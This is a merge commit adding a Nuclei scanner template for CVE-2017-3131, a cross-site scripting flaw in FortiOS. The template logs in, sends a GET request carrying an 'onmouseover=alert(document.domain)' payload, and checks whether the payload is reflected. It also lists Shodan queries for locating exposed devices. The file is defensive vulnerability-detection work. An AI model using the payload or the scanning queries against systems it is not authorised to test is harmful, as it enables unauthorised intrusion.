Merge pull request #10822 from projectdiscovery/CVE-2017-3131

Create CVE-2017-3131.yaml

http/cves/2017/CVE-2017-3131.yaml

@@ -0,0 +1,60 @@
+id: CVE-2017-3131
+
+info:
+  name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.
+  impact: |
+    Successful exploitation could lead to execution of malicious javascript.
+  remediation: |
+    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
+  reference:
+    - https://www.exploit-db.com/exploits/42388
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-3131
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-3131
+    cwe-id: CWE-79
+    epss-score: 0.00046
+    epss-percentile: 0.15636
+    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
+  metadata:
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - http.html:"/remote/login" "xxxxxxxx"
+      - http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+  tags: cve,cve2017,fortinet,fortios,xss,authenticated
+
+http:
+  - raw:
+      - |
+        POST /logincheck HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/plain;charset=UTF-8
+
+        ajax=1&username={{username}}&secretkey={{password}}
+
+      - |
+        GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - 'id_15832" onmouseover="alert(document.domain)"'
+
+      - type: word
+        part: content_type_2
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200